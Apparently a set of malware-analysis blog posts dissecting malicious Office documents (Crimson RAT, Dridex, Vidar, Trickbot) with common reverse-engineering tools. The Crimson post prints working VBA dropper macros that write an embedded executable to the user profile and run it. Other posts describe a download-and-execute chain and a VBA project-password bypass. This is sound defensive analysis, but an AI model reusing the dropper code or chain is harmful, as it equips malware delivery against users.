Crimson Rat (02-24-2020): VelvetSweatshop and shellcode

A few days ago, @killamjr outlined the steps he used to analyze this document. I haven’t done much with using other tools like XORsearch or scdbg.exe so decided to give it a go.

It didn’t go so well. But thanks to @killamjr’s help, updating all of Didier Steven’s tools, and this SANS blog post, it all worked out fine. Let’s work through it.

First things first, let’s use to see what lies underneath this document.


Instead of macros or vbaProject.bin files, we see ‘EncryptedPackage’. This means that the document itself has been protected with a password. However, if we try to open the document it won’t prompt for a password at all. What can we do from here? is a simple tool that can be used to crack passwords on MS documents. Running that tool gives us the password:


VelvetSweatshop? There’s only one man who would have a password like that.

Why didn’t I name this blog the Velvet Jones School of Technology?

Anyway, even though we know the password, there’s no place for us to put it in the document so that we can get access to the macros like we normally would. But at this point we have two options.

We could run on the document and use the output option (-o) to save the cracked file. We could then use OfficeMalScanner with inflate to dump all of the macros and .bin files.

Option 1: Output to cracked file and use OfficeMalScanner

Instead, we will be piping the output from directly into We will still need to make use of the output option (-o) as well as the ‘-‘ option to make the output go to stdout. All of that will get directed into

Option 2: Output directly into

We can now see that streams A3 – A6 have macros. They might be worth investigating. Stream B3’s size may contain something interesting as well. But stream C2’s name is ‘EQuAtIOn NatiVE’. This can contain shellcode or other encoded commands. That one is definitely worth looking at.

To do so, we need to add a few more options to We want to select C2 (-s C2) and then dump (-d)  out to a file. We’ll call it oledump.bin.


Running strings on oledump.bin doesn’t give us much of anything at all.


This means that the .bin file is likely shell code. To decode the binary, we will be using the tool XORsearch.exe. From the website:

XORSearch is a program to search for a given string in an XOR, ROL, ROT or SHIFT encoded binary file… XORSearch will try all XOR keys (0 to 255),  ROL keys (1 to 7), ROT keys (1 to 25) and SHIFT keys (1 to 7) when searching.

We will also be using the -W option to make use of XORsearch’s built in signatures.


It looks like a GetEIP instruction was found at position 0x2A7 without any encoding at all (XOR 00).

With our shellcode (oledump.bin) and offset (0x2A7) in hand, we can make us of a shellcode analyzer/emulator called scdbg.exe. There are two ways that we can use this. We can use the GUI to point it at oledump.bin, add the Start Offset, click Launch, and the decoded shellcode appears.

scdbg: gui_launcher.exe

Or we can use the command line version of it. We just need to point it at the file (option -f) and also give it the offset of 2A7 (option -foff). we should be getting the same output.

scdbg.exe with options -f and -foff

Note that we see the URL from which the file is going to be downloaded and also the location where it will be dropped.

Thanks for reading!


Dridex (2020-01-15) – Malicious Document Analysis

This document is… interesting, to say the least. Not only does it drop numerous files, but we also get to learn various facts about supermodels from the 1990’s!

I’m not joking. Onto the analysis.

Document Prep

First things first, we see from the original email that the document itself has a password of 258. That itself is no big deal. When we open the document, we’ll just be prompted for the password and can get past that easily enough. We should make sure that we remove the password. Otherwise, we will be unable to extract the macros.

I’ll also jump ahead for a moment and say that the macros in the document are password protected. So feel free to edit the vbaProject.bin in a hex editor at this time. See the blog post here for how to do that.

Macro Analysis

Upon initial look at the macros, we can see that one of them is significantly larger than the others.dridex04.png

Looking at macro modNormalTheme, we can see that there is a massive amount of junk code. Here is one example:dridex05.png

But starting with Sub autoopen(), we can see some other things start to happen:


On line 4423, we can see that a new folder called Colorfonts32 gets created on the C:\ and a number of files get created there. Of note, we notice that file B4D9D02119.cmd is significantly larger than the others.


Inspecting that file shows us that buried amongst the junk code, we a file named visitcard.vbs tossed into a variable named Robocar. Throughout the rest of this file, various commands get placed in there via the echo command.



Buried further in that file, we see a wscript command calling up the above .vbs file, a URL that downloads putty.bin, writes it to C:\Colorfonts32, renames it secpi15.exe, and then starts it.



Upon analysis from, the downloaded file is identified as dridex.

Thanks for reading!

Wait, I though there would be supermodels!

When executing the macro, we see a function named TestProgressBar. That function calls up a form named ElganteSample which contains a picture like so:


After ‘Enable Content’ is clicked, the above picture will pop up and various captions will be displayed. Captions such as…


And why is that in here? I haven’t a clue.

Thanks again!

Crimson (01.06.2020) – Malicious Document

I was a bit surprised while investigating this document the other day. It has been a while since I’ve seen a malicious document where the executable is dropped directly from the document and executed as a child process of it. This also means that if the executable was dropped directly from the document, it is buried somewhere and we should try to find it. identifies the dropped executable as Crimson, a RAT designed to exfiltrate a variety of data. It was used in 2016 against Indian diplomatic and military resources (Proofpoint) but has also popped up as recently as August 2019. This blog post from Proofpoint shows quite a few similarities between my specimen and theirs.

The Macro

First things first, let’s extract the macros (I used OfficeMalScanner). They were not obfuscated at all. Everything they would do was right out in the open. Here is the main one that does all of the heavy lifting. I’ll be splitting it up into three parts.

Public Sub Con()
	Dim BITy() As Byte
	Dim str() As String
	Dim Path As String
	Path = Environ$("USERPROFILE") & "\Intel.exe"
	str = Split(UserForm1.TextBox1.Text, "!")
	Dim Index As Double
	Index = 0
	For Each arr In str
		ReDim Preserve BITy(Index)
		BITy(Index) = CByte(arr)
		Index = Index + 1
		Next arr
		Create BITy
End Sub

We can see the path where the executable will drop and what it will be named, although that variable doesn’t seem to be used in this function. Even more interesting is the next line with variable str. It is taking the text in UserForm1.TextBox1 and splitting it on the exclamation point. The for each loop takes those characters and converts them to bytes numbered 0 – 255 (CByte) and tosses them into BITy.

Public Sub Create(bit() As Byte)
	Dim Path1 As String
	Path1 = Environ$("USERPROFILE") & "\Intel.exe"
	Open Path1 For Binary Access Write As #1
	Put #1, , bit
	Close 1
End Sub

Function Create is then fed the bytes from BITy. We can see the Path1 variable is similar to the one above, but in this case it is actually getting used. Path1 is opened as write access, the information is put there, and then closed. Function Run is then called.

Public Sub Run()
	Dim RunPath As Variant
	RunPath = Environ$("USERPROFILE") & "\Intel.exe"
	Dim RetVal
	RetVal = Shell(RunPath, 1)
End Sub

Function Run will actually… well, run the binary we dropped in RunPath. Good ol’ Shell sticks out like a sore thumb.


We’ve seen other malicious documents make use of UserForms and text boxes before. In those cases, some long base-64 encoded strings were there and pieced together in the macro before they were executed by Powershell. Based on the macro analysis above, I don’t think that is going to be case here since that text is going to be dropped directly to disk and then executed. Let’s look and see what is in UserForm1.

Remember, to get in there, we’ll need to open the document. This means we’ll be prompted to ‘Enable Content’. At this point we can do one of two things.

  1. We can ‘Enable Content’ to trigger the macros and do some behavioral analysis to see parent/child process behaviors and see what files drop. After it has been opened, we can then press Alt+F11 to open the Microsoft VBA editor and investigate the macros. OR
  2. Use the vbashift trick as explained by @decalage2. While keeping the shift key on your keyboard pressed, open the document and also enable content. The shift key will disable automatic macro triggers. You can then press Alt+F11 to open the Microsoft VBA editor and examine the macros that way.

I chose option two and it worked like a charm… but the project is password protected.


This means we need to get rid of that password. Using the technique described here, I edited the file in a hex editor to bypass the project password, re-opened the document, ignored the errors, un-protected the project, saved the changes, and re-opened the document. Here are the results:


UserForm1 contains a string of characters interspersed with exclamation points. This makes sense considering the macro we investigated above (convenient, right?). That text gets split by the exclamation points, each is gathered into a variable, the variable gets dropped as a binary, and that dropped binary gets executed. In fact, if you take the first two numbers shown in UserForm1 (77 and 90), and convert them to ASCII, you’ll see they are the characters MZ.

Where does the dropped executable land?


As expected, Intel.exe gets dropped at C:\Users\[user account]\Intel.exe. It is also a child process of WINWORD.EXE.


What exactly does Intel.exe do? Looking at the output, we can see traffic headed Following the TCP stream in Wireshark, commands (in blue) are sent from and information (in red) is returned.


Thanks for reading!

Vidar maldocs (11.6.2019) – Extracting the shellcode and finding the URL

We will be working off of this document today. It is another document that ends up downloading an executable that identifies as vidar. But how do we get from the document to downloading the executable? Let’s find out.

After extracting the macros, we can see that they are very similar to the document we saw the other day. However, there is a significant difference. In this case, the strings that become the shellcode are hidden elsewhere in the document.

How then can we get at that shellcode? If you’ll recall, the macros in these documents create some space in memory, place the shellcode there, and then execute it. If we can set a breakpoint in the macro after the shellcode is placed in memory but before it executes, we should be able to extract it. See below:


Remember, s2 contains the memory address of variable s1. In our instance, s2 = 235423969 (0x0E0848E1).  vp stands for VirtualProtect and will change that memory space to read/write/execute.

Extracting the code from memory: Process Hacker

Opening Process Hacker, we can double-click on the WINWORD.EXE process to look at it’s properties. Choose the Memory tab and we can see all of the regions of memory used by WINWORD.EXE. All we need to do is scroll down to the appropriate base address and expand it.

In this case, the hex address we’re looking for is 0x0E0848E1. This would fall between 0xdd00000 and 0xe100000. Expand 0xdd00000 and we can see 0xe08400. Note also how the Protection column notes that section of memory as RWX.


Double-clicking 0xe084000 shows us the actual information in that section of memory. Scroll down to 8E1 and you can see the code. You can save this entire section and inspect it later at your leisure.


Extracting the code from memory: x32dbg

Another way to get at the shellcode is to extract it by using a debugger like x32dbg. There are probably multiple and more efficient ways than how I will be proceeding. But I will be setting a breakpoint at 0x0E0848E1 in order to get to that location and find the shellcode.

To do this, open x32dbg.exe and attach it to WINWORD.EXE.


It will take a few moments for x32dbg to attach itself to the process. But when it does you will see assembly in all of its glory.


We would like to jump to the code stored in 0x0E0848E1. Type the following in the Command line near the bottom of the screen and hit ‘enter’.


We can then click on the “Breakpoints” tab near the top of the screen and see that a breakpoint has been set at 0x0E0848E1.


Double-click on that location and you will be brought back to the main screen. However, down in the memory dump section, you will see the address of 0x0E0848E1 and the resulting code stored after it. You can then copy and paste that code and store it for examination.


But what can we do with the results? Here is the ASCII from above stored as a .bin file.


Upon visual inspection, we can see what looks like might be a URL of sorts… but everything is all jumbled up. How can we make sense of this?

Disassembler to the rescue! (sort of)

A disassembler can take an executable (or the binary above) and translate it into assembly language. I will be using IDA Pro (the free version). Toss ascii.bin into it IDA Pro, choose all of the defaults, and you will be presented with something like this:


If we had a billion dollars (give or take), there is a wonderful plugin that can be purchased to turn all of this assembly into actual readable code. However, I don’t have a billion dollars.

Therefore, we will have to be a bit more manual with this one. Scrolling down a bit, we can see a long series of push commands. Each push command takes the data after it and pushes it down onto the stack. Once it is done, it can be called by some other function.

Push it real good.

In this case, all of the information that is being pushed are a bunch of hex characters. To convert them to a readable string, we can click on them and hit the R button (or right-click and choose the line starting with ‘x’).


Continuing down the line we get to the end where we see this pop out:


That last line contains a backwards http. If we keep tracing it backwards, we can see the rest of the http://162.218… and so on. Some manual copy/paste could be done at this point and you could reconstruct the URL. I took it and used CyberChef to remove the single apostrophes and reverse the string. However you choose to do it, this string gets assembled into:


And as we saw earlier, it downloads vidar.

Thanks for reading.

Trickbot Analysis – Part 2: Locked Projects in Documents

Part 1: An analysis of the extracted macros.

Part 2: An analysis of the locked document.

Part 3: An analysis of the dropped javascript file.

When analyzing a malicious document, it can be useful to make use of Microsoft Word’s built-in Microsoft Visual Basic for Applications. This allows you to investigate the macros and step through them in order to see how they work. However, sometimes you see this:

\sad trombone

Many people know that you can just toss the .doc into a hex editor, search for the string DPB, replace it with DPX (or something), save it, open the document, ignore the errors and you should be good to go.

That doesn’t happen for every document. In the case that it doesn’t work, here is another method. All credit goes to Vishal Thakur’s blog that describes how to do this. This method takes advantage of the fact that .docm/.docx files can be treated like a .zip file. We will change the .docm file to a .zip, find the vbaProject.bin file, change DPB to DPX, save it, change the .zip file back into the .docm, make the project available for viewing, and we will be good to go again.

Step 1 – Change file extension of .docm/.docx file to .zip

Step 2 – Open the .zip folder, look in another folder called ‘word’, and copy the vbaProject.bin file to another location (in my case, the desktop).


Step 3 – Open vbaProject.bin in your favorite hex editor. Search for the string DPB.


Step 4 – Change DPB to DPX and save changes.


Step 5 – Copy the edited vbaProject.bin back into the .zip folder. Rename folder from .zip to .docx/.docm. Open document and try to view the macros. You may see errors like below. Just keep clicking through them.


Step 6 – Pressing Alt+F11 is another way to get into Microsoft Visual Basic for Applications. If you do that, you’ll see that you still can’t edit the macros. But right-click on the project, choose Project Properties -> Protection. Uncheck “Lock project for viewing” and either put in a new password of your choosing or make sure that it’s blank. Then save your changes and exit.


Step 7 – Re-open the document and investigate the macros at your leisure!